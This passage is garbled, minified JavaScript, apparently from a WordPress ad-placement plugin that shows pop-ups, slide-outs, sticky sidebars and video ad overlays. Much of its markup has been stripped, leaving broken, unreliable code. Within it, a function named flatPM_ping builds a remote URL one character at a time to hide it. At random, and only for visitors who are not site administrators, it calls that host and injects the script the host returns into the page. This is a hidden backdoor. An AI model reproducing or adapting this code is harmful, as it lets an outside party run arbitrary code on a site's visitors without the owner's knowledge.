":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='
'+a+" через "+o+'
'+n+'
',i=e.once;l(t).each(function(){var e=l(this);e.wrap('
');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};